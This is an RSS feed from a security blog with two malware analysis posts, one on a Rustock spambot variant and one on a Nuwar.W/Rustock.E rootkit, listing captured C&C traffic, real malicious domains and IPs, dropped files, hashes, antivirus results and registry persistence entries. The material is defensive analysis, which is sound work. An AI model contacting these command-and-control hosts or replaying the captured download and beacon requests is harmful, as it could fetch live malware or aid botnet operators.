<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NoVirusThanks Blog &#187; rootkit</title>
	<atom:link href="http://blog.novirusthanks.org/tag/rootkit/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.novirusthanks.org</link>
	<description>Security News and Malware Analysis</description>
	<lastBuildDate>Wed, 01 Feb 2012 13:34:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Rustock is back again more active than ever!</title>
		<link>http://blog.novirusthanks.org/2009/03/rustock-is-back-again-more-active-than-ever/</link>
		<comments>http://blog.novirusthanks.org/2009/03/rustock-is-back-again-more-active-than-ever/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 00:06:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Security News]]></category>
		<category><![CDATA[crypts.dll]]></category>
		<category><![CDATA[Gootkit]]></category>
		<category><![CDATA[Gootkit ldr]]></category>
		<category><![CDATA[Gootkit ldr 1.0]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Rustock]]></category>
		<category><![CDATA[spambots]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=1336</guid>
		<description><![CDATA[Recently Steve received some new .EXE files classified as Rootkit.Rustock and we have analyzed one file to see if the beast Rustock is still active. The bad thing is that the results of this analysis reveal that the spam activity of Rustock is yet highly active&#8230; &#160; During the analysis we noticed that the malware [...]]]></description>
			<content:encoded><![CDATA[<p>Recently Steve received some new .EXE files classified as Rootkit.Rustock and we have analyzed one file to see if the beast Rustock is still active. The bad thing is that the results of this analysis reveal that the spam activity of Rustock is yet <b>highly active</b>&#8230;</p>
<p>&nbsp;</p>
<p>During the analysis we noticed that the malware used a particular string for the User Agent for communicate with a specific domain: <strong>Gootkit ldr 1.0 </strong>&#8230; is this a new name for a new Malware Kit ???</p>
<p>&nbsp;</p>
<p>The .EXE file after its execution, injected code into services.exe and then started to send various GET queries to a specific domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">195.2.253.246 (catjepzcft.com)</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /progs/ptpqq/pmzznaann.php?adv=advxxx HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/mmjjwjxt.php HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/ebbxlllly.php HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/spcmmzmnak.php HTTP/1.1
Host: catjepzcft.com</pre></td></tr></table></div>

<p>All of the above *.php files redirect to PE (Portable Executable) files that are all downloaded in TEMP folder and are then executed hidden.</p>
<p>&nbsp;</p>
<p>Rustock spam bots have C&amp;C (Command and Control) domain names that are hardcoded inside the malware code, this technique allows the bot&#8217;s authors to change the controlled hosts dinamycally. This Rustock variant has started various requests with these domains:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">yopilazankaza.net
grezasadaf.info
mail.grezasadaf.info</pre></td></tr></table></div>

<p>After, we noticed the malware sent some encrypted traffic to this IP:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">74.52.83.83 (user.happyhost.org)</pre></td></tr></table></div>

<p>We can see from the traffic below that the malware sent some info to the malicious domain, and our Hardware ID to identify our computer:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /progs/ptpqq/pmmmaana.php?adv=advxxx&amp;code1=LSI0&amp;code2=0809&amp;id=-[HD_ID]&amp;p=1 HTTP/1.1
Host: catjepzcft.com</pre></td></tr></table></div>

<p>Next, it started traffic with another domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">ctfmon.info
110.60.233.72.static.reverse.ltdomains.com
72.233.60.110</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /cd/cd.php?id=5V9B6019C6A1FA0&amp;ver=nz0 HTTP/1.1
Host: ctfmon.info</pre></td></tr></table></div>

<p>And at this point, the malware started to send data to a new IP:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">92.62.101.27 (ds27.esthost.eu)</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /d3n2829230.dat HTTP/1.0
User-Agent: Gootkit ldr 1.0
Host: 92.62.101.27:5191</pre></td></tr></table></div>

<p>Note how is named the User Agent: <strong>Gootkit ldr 1.0</strong>.<br />
It may be the name of a NEW malware kit and ldr should stand for loader.</p>
<p>&nbsp;</p>
<p>New traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /xxxxxxxxxxxxx HTTP/1.1
Host: damqrgldev.net
&nbsp;
GET /xxxxxxxxxxxxx HTTP/1.1
Host: damqrgldev.net</pre></td></tr></table></div>

<p>The malware downloaded various malicious files (again) in TEMP Folder, and executed all of them&#8230; At this point, the malware started to send a lot of encrypted data to a domain (previously named):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">92.62.101.27 (ds27.esthost.eu)</pre></td></tr></table></div>

<p>Network traffic:</p>
<blockquote><p>
Packets           : 505<br />
Data Size         : 329.768 Bytes<br />
Total Size        : 350.040 Bytes
</p></blockquote>
<p>And now started a <strong>heavy SPAM activity</strong>&#8230; the malware started to send various domain requests to a lot of email servers:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-1.gif" alt="Screenshot" title="Spam activity" /></p>
<p>&nbsp;</p>
<p>And then the spambot started to send a high amount of spam messages&#8230; the SPAM campaign is now more active than ever!!!</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-2.gif" alt="Screenshot" title="Spam traffic" /></p>
<p>&nbsp;</p>
<p>Now lets see what files were created by this Rustock variant:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\drivers\50cb8405.sys =&gt; DRIVER OF THE ROOTKIT
C:\mtoaphpo.exe
C:\lcrywx.exe
C:\shcu.exe
C:\1630016.bat
C:\paohiqlm.exe
C:\-[HARDWARE_ID]
C:\WINDOWS\system32\drivers\lmo08ed.sys =&gt; ANOTHER DRIVER OF THE ROOTKIT
C:\DOCUME~1\user\LOCALS~1\Temp\2081034192.exe
C:\DOCUME~1\user\LOCALS~1\Temp\2092050032.exe
C:\hhfls.exe
C:\WINDOWS\system32\dllcache\svchost.exe.new
C:\ntgxbfmx.exe
C:\DOCUME~1\user\LOCALS~1\Temp\h531l.exe
C:\adwitwxa.exe
C:\zmuvmq.bat
C:\xuulbic.exe
C:\WINDOWS\system32\crypts.dll
C:\DOCUME~1\user\LOCALS~1\Temp\csrssc.exe
C:\DOCUME~1\user\LOCALS~1\Temp\rip10.exe
C:\DOCUME~1\user\LOCALS~1\Temp\2.exe
C:\DOCUME~1\user\LOCALS~1\Temp\7hjhffd.bat
C:\Program Files\Common Files\imlhy.dll
C:\DOCUME~1\user\LOCALS~1\Temp\g5i8nvt30.exe
C:\DOCUME~1\user\LOCALS~1\Temp\zbqy6cseo.exe
C:\DOCUME~1\user\LOCALS~1\Temp\yb2dpk.exe
C:\DOCUME~1\user\LOCALS~1\Temp\ksjx1r.exe
C:\DOCUME~1\user\LOCALS~1\Temp\y62pk.exe
C:\DOCUME~1\user\LOCALS~1\Temp\phl7u.exe
C:\DOCUME~1\user\LOCALS~1\Temp\x4l7wf4x.exe
C:\DOCUME~1\user\LOCALS~1\Temp\acs2reslt4.exe</pre></td></tr></table></div>

<p>Below there are the virus scanner reports of the two rootkit drivers:</p>
<blockquote>
<p>Report Generated: 	16.3.2009 at 0.25.01 (GMT 1)<br />
File Name:	<strong>50cb8405.sys</strong><br />
File Size:	101 KB<br />
MD5 Hash:	3B51541EB5EAE7342A191EF17C8B3D60<br />
SHA1 Hash:	70A7C283EE4DFCE6AF490FB256FF944185238C20<br />
Detection Rate:	<font color="red">3</font> on 24 (<font color="red">12,5 %</font>)<br />
Status:	INFECTED</p>
<p>&nbsp;</p>
<p>Antivirus 	Sig version 	Engine Version 	Result<br />
a-squared	15/03/2009	4.0.0.32	-<br />
Avira AntiVir	7.1.2.171	8.1.2.12	<font color="red">TR/Rootkit.Gen</font><br />
Avast	090314-0	4.8.1229	-<br />
AVG	270.11.15/2003	8.0.0.0	-<br />
BitDefender	16/03/2009	7.0.0.2555	<font color="red">Backdoor.Rustock.NFE</font><br />
ClamAV	15/03/2009	0.93.1.0	-<br />
Comodo	1057	3.8 	-<br />
Dr.Web	16/03/2009	5.0	-<br />
Ewido	16/03/2009	4.0.0.2	-<br />
F-PROT 6	20090315	4.4.4.56	-<br />
G DATA	19.3655	2.0.7309.847	-<br />
IkarusT3	14/03/2009 	1001044 	-<br />
Kaspersky	16/03/2009	8.0.0.357	-<br />
McAfee	15/03/2009	5.1.0.0	-<br />
Malware Hash Registry	16/03/2009 	N/A 	-<br />
NOD32 v3	3937	3.0.677	-<br />
Norman	2009/03/13	5.92.08	-<br />
Panda	07/02/2009	9.5.1.00	-<br />
QuickHeal	14 March, 2009	10.0	-<br />
Solo Antivirus	16/03/2009	8.0	-<br />
Sophos	16/03/2009	4.32.0	-<br />
TrendMicro	895(589500)	1.1-1001	-<br />
VBA32	16/03/2009	3.12.0.300	<font color="red">Malware-Cryptor.Win32.General.3</font><br />
VirusBuster	10.102.11	1.4.3	-</p>
</blockquote>
<blockquote>
<p>Report Generated: 	16.3.2009 at 0.26.02 (GMT 1)<br />
File Name:	<strong>lmo08ed.sys</strong><br />
File Size:	21 KB<br />
MD5 Hash:	1614229CC85D2F0DA1668BEC2AA2966E<br />
SHA1 Hash:	F2347ABAD8541540040D69DF6EC7F9104B998C74<br />
Detection Rate:	<font color="red">1</font> on 24 (<font color="red">4,16 %</font>)<br />
Status:	INFECTED</p>
<p>&nbsp;</p>
<p>Antivirus 	Sig version 	Engine Version 	Result<br />
a-squared	15/03/2009	4.0.0.32	-<br />
Avira AntiVir	7.1.2.171	8.1.2.12	-<br />
Avast	090314-0	4.8.1229	-<br />
AVG	270.11.15/2003	8.0.0.0	-<br />
BitDefender	16/03/2009	7.0.0.2555	-<br />
ClamAV	15/03/2009	0.93.1.0	-<br />
Comodo	1057	3.8 	-<br />
Dr.Web	16/03/2009	5.0	-<br />
Ewido	16/03/2009	4.0.0.2	-<br />
F-PROT 6	20090315	4.4.4.56	-<br />
G DATA	19.3655	2.0.7309.847	-<br />
IkarusT3	14/03/2009 	1001044 	-<br />
Kaspersky	16/03/2009	8.0.0.357	-<br />
McAfee	15/03/2009	5.1.0.0	-<br />
Malware Hash Registry	16/03/2009 	N/A 	-<br />
NOD32 v3	3937	3.0.677	-<br />
Norman	2009/03/13	5.92.08	<font color="red">Trojan W32/Rootkit.AJUT</font><br />
Panda	07/02/2009	9.5.1.00	-<br />
QuickHeal	14 March, 2009	10.0	-<br />
Solo Antivirus	16/03/2009	8.0	-<br />
Sophos	16/03/2009	4.32.0	-<br />
TrendMicro	895(589500)	1.1-1001	-<br />
VBA32	16/03/2009	3.12.0.300	-<br />
VirusBuster	10.102.11	1.4.3	-</p>
</blockquote>
<p>The rootkit installs always the 3 (famous) SSDT hooks and this time we can see that it hides also its driver:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-3.gif" alt="Screenshot" title="SSDT Hooks" width="530" /></p>
<p>&nbsp;</p>
<p>Hidden Driver:</p>
<p>&nbsp;</p>
<p><img  src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-4.gif" alt="Screenshot" title="Hidden Driver" width="530" /></p>
<p>&nbsp;</p>
<p>Stealth Code:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-5.gif" alt="Screenshot" title="Stealth Code" /></p>
<p>&nbsp;</p>
<p>Kernel Modifications:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-6.gif" alt="Screenshot" title="Kernel Modifications" width="530" /></p>
<p>&nbsp;</p>
<p>And below, there is an HijackThis log:</p>
<p>&nbsp;</p>
<blockquote><p>
Running processes:<br />
C:\DOCUME~1\user\LOCALS~1\Temp\csrssc.exe<br />
C:\DOCUME~1\user\LOCALS~1\Temp\ig2wf5bum4.exe<br />
C:\DOCUME~1\user\LOCALS~1\Temp\i10ftqrh0.exe</p>
<p>&nbsp;</p>
<p>O4 &#8211; HKLM\..\Run: [xsigsud7qw7f8rwrt8] C:\DOCUME~1\user\LOCALS~1\Temp\h531l.exe<br />
O4 &#8211; HKLM\..\Run: [y0agaspmnmxkw4djb3as16eeuar] C:\DOCUME~1\user\LOCALS~1\Temp\g5i8nvt30.exe<br />
O4 &#8211; HKLM\..\Run: [t50zoy0kqddd9qjam7lfo] C:\DOCUME~1\user\LOCALS~1\Temp\f35avpt2j.exe<br />
O4 &#8211; HKLM\..\Run: [krae4io3anewkh6n1c32] C:\DOCUME~1\user\LOCALS~1\Temp\go82c4irn.exe<br />
O4 &#8211; HKLM\..\Run: [i3ommwe1iq63eplz1l5shm39kd3nr] C:\DOCUME~1\user\LOCALS~1\Temp\ldav9bgf.exe<br />
O4 &#8211; HKLM\..\Run: [wlad2loiah66phy9e] C:\DOCUME~1\user\LOCALS~1\Temp\s7rg8a.exe<br />
O4 &#8211; HKLM\..\Run: [kq005y3gtd5grvxemgyp77puvoxeh] C:\DOCUME~1\user\LOCALS~1\Temp\ceu9gzw17.exe<br />
O4 &#8211; HKLM\..\Run: [y2l3ad3xmfd99c18hrirbgvnztg] C:\DOCUME~1\user\LOCALS~1\Temp\zbqy6cseo.exe<br />
O4 &#8211; HKLM\..\Run: [ejk9b1onvd75gfmvp2j] C:\DOCUME~1\user\LOCALS~1\Temp\yb2dpk.exe<br />
O4 &#8211; HKLM\..\Run: [bicya6fq4l8rm17m0e3tk] C:\DOCUME~1\user\LOCALS~1\Temp\rh1lty.exe<br />
O4 &#8211; HKLM\..\Run: [aotn8li6zj2a9a3pd5nk7y] C:\DOCUME~1\user\LOCALS~1\Temp\p27p2.exe<br />
O4 &#8211; HKLM\..\Run: [x4veff6kyajo16mhq18ujw8vj3dpa] C:\DOCUME~1\user\LOCALS~1\Temp\ksjx1r.exe<br />
O4 &#8211; HKLM\..\Run: [omxf835aubqqpxvzfdvre094g2m0m] C:\DOCUME~1\user\LOCALS~1\Temp\y62pk.exe<br />
O4 &#8211; HKLM\..\Run: [eo8in0uixmmd988l5dtstn0gju] C:\DOCUME~1\user\LOCALS~1\Temp\phl7u.exe<br />
O4 &#8211; HKLM\..\Run: [e9vetnuspuff604s9iu4bpt] C:\DOCUME~1\user\LOCALS~1\Temp\x4l7wf4x.exe<br />
O4 &#8211; HKLM\..\Run: [urg2avbreylonz] C:\DOCUME~1\user\LOCALS~1\Temp\acs2reslt4.exe<br />
O4 &#8211; HKCU\..\Run: [nuj56tlag39hly] C:\DOCUME~1\user\LOCALS~1\Temp\d2q8qn.exe<br />
O4 &#8211; HKCU\..\Run: [xjtsi4b3oq3] C:\DOCUME~1\user\LOCALS~1\Temp\pyphk.exe<br />
O4 &#8211; HKCU\..\Run: [qcsn79k6rirjgr] C:\DOCUME~1\user\LOCALS~1\Temp\l2jna51.exe<br />
O4 &#8211; HKCU\..\Run: [oso3bevvdmzr1] C:\DOCUME~1\user\LOCALS~1\Temp\bvtrncc.exe<br />
O4 &#8211; HKCU\..\Run: [ubvttqcqfdt7yxo4gt9opxraitvp] C:\DOCUME~1\user\LOCALS~1\Temp\ig2wf5bum4.exe<br />
O4 &#8211; HKCU\..\Run: [qiojoeqys7e1f4kgazo4eycu8] C:\DOCUME~1\user\LOCALS~1\Temp\i10ftqrh0.exe<br />
O7 &#8211; HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegedit=1<br />
O20 &#8211; Winlogon Notify: crypt &#8211; C:\WINDOWS\SYSTEM32\crypts.dll
</p></blockquote>
<p>The malware disabled also the regedit.exe, as we can see from this value the malware changed the DWORD of the value named DisableRegedit to 1:</p>
<blockquote>
<p>O7 &#8211; HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegedit=1</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2009/03/rustock-is-back-again-more-active-than-ever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I-Worm/Nuwar.W + Rustock.E Variant &#8211; Analysis</title>
		<link>http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/</link>
		<comments>http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 12:47:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Beep.SYS]]></category>
		<category><![CDATA[d521de]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Nuwar.W]]></category>
		<category><![CDATA[rootkit]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=320</guid>
		<description><![CDATA[Steve sent me a new interesting malware sample classified as I-Worm/Nuwar.W. When I executed the file, it injected code into a system process named svchost.exe, and I started to receive a lot of traffic from a specified domain that has a random name (aaqarkznvb.com), and during the established connections with the domain, a lot of [...]]]></description>
			<content:encoded><![CDATA[<p>Steve sent me a new interesting malware sample classified as I-Worm/Nuwar.W. When I executed the file, it injected code into a system process named svchost.exe, and I started to receive a lot of traffic from a specified domain that has a random name (aaqarkznvb.com), and during the established connections with the domain, a lot of files were downloaded and executed in my system:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\-24322245 | 444BCB3A3FCF8389296C49467F27E1D6
C:\psqrhqn.exe | 102FF59F4530E084005A2E04B768E9C1
C:\cvqkuk.exe | 102FF59F4530E084005A2E04B768E9C1
C:\ebafud.exe | 3A13D81D2B0F667BE96AD9567EDAFE0A
C:\nriljal.exe | 5293DB6EC3BB865DA8A2C25FD20897C7
C:\naxv.exe | 252EF354DADF254AF07ECD92AC0A31A8</pre></td></tr></table></div>

<p>And was created an interesting file in /system32/drivers/:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\drivers\aec.sys.bak</pre></td></tr></table></div>

<p>The file named aec.sys is the driver of Microsoft (Microsoft Acoustic Echo Canceller) and the malware seem to have created a backup copy (.bak extension) of it, maybe because later the malware will infect the original .SYS file !</p>
<p>&nbsp;</p>
<p>After, it created new files:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">%User%\LOCALS~1\Temp\winlogin.exe | 17DC830917EABCF78514F559627102BC
%User%\LOCALS~1\Temp\2322862672.exe | 76DD26BBB2571997E0C0035A35A8F7C0
%User%\LOCALS~1\Temp\csrssc.exe | 76DD26BBB2571997E0C0035A35A8F7C0</pre></td></tr></table></div>

<p>Both files, winlogin.exe and csrssc.exe will install code hooks (IAT Modifications) as shown in image below:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Code_Hooks_part1.gif" alt="IAT Modifications" title="IAT Modifications" width="530" height="400" /></p>
<p>&nbsp;</p>
<p>And finally we can see that 3 drivers were created in /system32/drivers/ folder:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\drivers\beep.sys.bak
C:\WINDOWS\system32\drivers\d521de.sys
C:\WINDOWS\system32\drivers\ethqksbi.sys
C:\WINDOWS\system32\drivers\beep.sys
C:\WINDOWS\system32\drivers\aec.sys</pre></td></tr></table></div>

<p>Note that the malware has created a copy of the driver beep.sys.bak, and then it infects the original beep.sys with <font color="red">I-Worm/Nuwar.W</font>! We can see that the file size is different from the original size, its now 55 KB. When you try to delete the drivers you always get an error, you cannot modify/change/delete any registry key that is related to the rootkit&#8217;s drivers, and you cannot modify/change/delete the 2 .SYS files created by the rootkit. The rootkit also hides some TCP Ports.</p>
<p>&nbsp;</p>
<p>Report of the scan of the infected beep.sys:</p>
<blockquote><p>
Report Generated 	23.11.2008 at 1.44.14 (GMT 1)<br />
Filename: 	<b>beep.sys</b><br />
File size: 	55 KB<br />
MD5 Hash: 	9ECF2DDC3500B5212DC5DB7E7C17CE3E<br />
SHA1 Hash: 	8B17BFC350914EA5F61F6FF9D9BDDECFCAA80A89<br />
CRC32: 	3119767162<br />
Application Type:	Executable (EXE) 32bit<br />
Packer detected:	Nothing found *<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	<font color="red">File is possible binded with malware</font><br />
Detection Rate:	<font color="red">2</font> on 24</p>
<p>&nbsp;</p>
<p>Antivirus 	Result<br />
a-squared 	-<br />
Avira AntiVir 	-<br />
Avast 	-<br />
AVG 	<font color="red">Virus identified I-Worm/Nuwar.W</font><br />
BitDefender 	<font color="red">Trojan.Peed.Gen</font><br />
ClamAV 	-<br />
Comodo 	-<br />
Dr.Web 	-<br />
Ewido 	-<br />
F-PROT 6 	-<br />
G DATA 	-<br />
IkarusT3 	-<br />
Kaspersky 	-<br />
McAfee 	-<br />
MHR 	-<br />
NOD32 v3 	-<br />
Norman 	-<br />
Panda 	-<br />
QuickHeal 	-<br />
Solo Antivirus 	-<br />
Sophos 	-<br />
TrendMicro 	-<br />
VBA32 	-<br />
VirusBuster 	-
</p></blockquote>
<p>We can extract interesting strings from the infected beep.sys:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">ZwOpenKey
ZwCreateKey
svchost.exe
ZwCreateEvent
TransportAddress
ConnectionContext
C:\progz\NewWork\driver\objfre\i386\driver.pdb
LoadLibraryA
GetProcAddress
SetEvent
Init
CreateThread
SleepEx
d521de
FATAL_UNHANDLED_HARD_ERROR
ntoskrnl.exe
\BaseNamedObjects\5B37FB3B-984D-1E57-FF38-AA681BE5C8D9
\registry\machine\system\CurrentControlSet\Services\%x
\SystemRoot\System32\drivers\%x.sys
\BaseNamedObjects\{60F9FCD0-8DD4-6453-E394-771298D2A471}
services.exe
\registry\machine\system\CurrentControlSet\Enum\Root\LEGACY_%ws
\SystemRoot\System32\ntdll.dll
%ws%ws
\Device\Tcp
svchost.exe
\SystemRoot\Temp\%u.tmp
.log
\registry\machine\system
\Device\Tcp</pre></td></tr></table></div>

<p>Again, we see this string:</p>
<blockquote><p>
C:\progz\NewWork\driver\objfre\i386\driver.pdb
</p></blockquote>
<p>That was present in new Rootkit.Rustock.E variants, and we can see the reference to svchost.exe where the malware injects its code. We can see also the reference to <b>d521de</b> that is the other kernel driver that is installed by the rootkit.</p>
<p>&nbsp;</p>
<p>Report of the scan of ethqksbi.sys:</p>
<blockquote><p>
Report Generated 	24.11.2008 at 2.35.54 (GMT 1)<br />
Filename: 	<b>ethqksbi.sys</b><br />
File size: 	131 KB<br />
MD5 Hash: 	BA4423EF27AAA93B35A0AB1ED64F0383<br />
SHA1 Hash: 	866652B76C42E94DD38039B48203924A999B01CD<br />
CRC32: 	452990838<br />
Application Type:	Dinamyc Link Library (DLL) 32bit<br />
Packer detected:	Nothing found *<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	Nothing found<br />
Detection Rate:	<font color="red">1</font> on 24</p>
<p>&nbsp;</p>
<p>Antivirus 	Result<br />
a-squared 	-<br />
Avira AntiVir 	<font color="red">TR/Rootkit.Gen</font><br />
Avast 	-<br />
AVG 	-<br />
BitDefender 	-<br />
ClamAV 	-<br />
Comodo 	-<br />
Dr.Web 	-<br />
Ewido 	-<br />
F-PROT 6 	-<br />
G DATA 	-<br />
IkarusT3 	-<br />
Kaspersky 	-<br />
McAfee 	-<br />
MHR 	-<br />
NOD32 v3 	-<br />
Norman 	-<br />
Panda 	-<br />
QuickHeal 	-<br />
Solo Antivirus 	-<br />
Sophos 	-<br />
TrendMicro 	-<br />
VBA32 	-<br />
VirusBuster 	-
</p></blockquote>
<p>PE Import Tables:</p>
<blockquote><p>
ntoskrnl.exe<br />
+DbgPrint<br />
+ZwRestoreKey<br />
+KeQueryTimeIncrement<br />
+ObReferenceObjectByHandle<br />
+_except_handler3<br />
+ObLogSecurityDescriptor<br />
+ExAllocatePoolWithTag<br />
+wcsncpy<br />
+FsRtlInitializeOplock<br />
+ZwPulseEvent<br />
+KeTickCount<br />
+strncmp<br />
+MmMapLockedPagesSpecifyCache<br />
+KeBugCheckEx<br />
+ExIsResourceAcquiredExclusiveLite<br />
+RtlAddAce<br />
+ZwQueryDefaultUILanguage<br />
+ZwQuerySystemInformation<br />
+ExAllocatePoolWithQuota<br />
+strstr<br />
+ExFreePoolWithTag<br />
+ObfReferenceObject<br />
+RtlAnsiCharToUnicodeChar<br />
+strncpy<br />
+IoGetCurrentProcess
</p></blockquote>
<p>Report of the scan of d521de.sys:</p>
<blockquote><p>Report Generated 	24.11.2008 at 2.35.54 (GMT 1)<br />
Filename: 	d521de_sys<br />
File size: 	98 KB<br />
MD5 Hash: 	404032043145EB962E62887ECD065327<br />
SHA1 Hash: 	F40F270F000709AF807F5155685C29AB333CF882<br />
CRC32: 	1053342703<br />
Application Type:	Executable (EXE) 32bit<br />
Packer detected:	Nothing found [Overlay] *<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	Nothing found<br />
Detection Rate:	<font color="red">5</font> on 24</p>
<p>&nbsp;</p>
<p>Antivirus 	Result<br />
a-squared 	-<br />
Avira AntiVir 	<font color="red">TR/Rootkit.Gen</font><br />
Avast 	<font color="red">Win32:Rootkit-gen [Rtk] (0)</font><br />
AVG 	<font color="red">Virus identified I-Worm/Nuwar.W</font><br />
BitDefender 	-<br />
ClamAV 	-<br />
Comodo 	-<br />
Dr.Web 	-<br />
Ewido 	-<br />
F-PROT 6 	-<br />
G DATA 	<font color="red">Win32:Rootkit-gen [Rtk] B</font><br />
IkarusT3 	-<br />
Kaspersky 	-<br />
McAfee 	-<br />
MHR 	-<br />
NOD32 v3 	-<br />
Norman 	-<br />
Panda 	-<br />
QuickHeal 	-<br />
Solo Antivirus 	-<br />
Sophos 	-<br />
TrendMicro 	-<br />
VBA32 	<font color="red">Malware-Cryptor.Win32.General.3</font><br />
VirusBuster 	-
</p></blockquote>
<p>PE Import Tables:</p>
<blockquote><p>ntoskrnl.exe<br />
+IoDeleteDevice<br />
+KeSetEvent<br />
+KeInitializeMutex<br />
+IoFreeIrp<br />
+IoAllocateIrp<br />
+ObfReferenceObject<br />
+KeInitializeEvent<br />
+IoAttachDevice<br />
+ObfDereferenceObject<br />
+ExFreePoolWithTag<br />
+IoAllocateMdl<br />
+memcpy<br />
+IoFreeWorkItem<br />
+IofCallDriver<br />
+KeWaitForSingleObject<br />
HAL.dll<br />
+ExAcquireFastMutex<br />
+ExReleaseFastMutex
</p></blockquote>
<p>Below there are some images of the infection:</p>
<p>&nbsp;</p>
<p>Browser Helper Objects:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_BHO.gif" alt="BHO" title="BHO" /></p>
<p>&nbsp;</p>
<p>Message Hooks:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Message_Hooks.gif" alt="Message Hooks" title="Message Hooks" /></p>
<p>&nbsp;</p>
<p>SSDT Hooks:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_SSDT_Hooks.gif" alt="SSDT Hooks" title="SSDT Hooks" width="530" /></p>
<p>&nbsp;</p>
<p>Beep.SYS infected and Ntfs.sys Hooks:</p>
<p>&nbsp;</p>
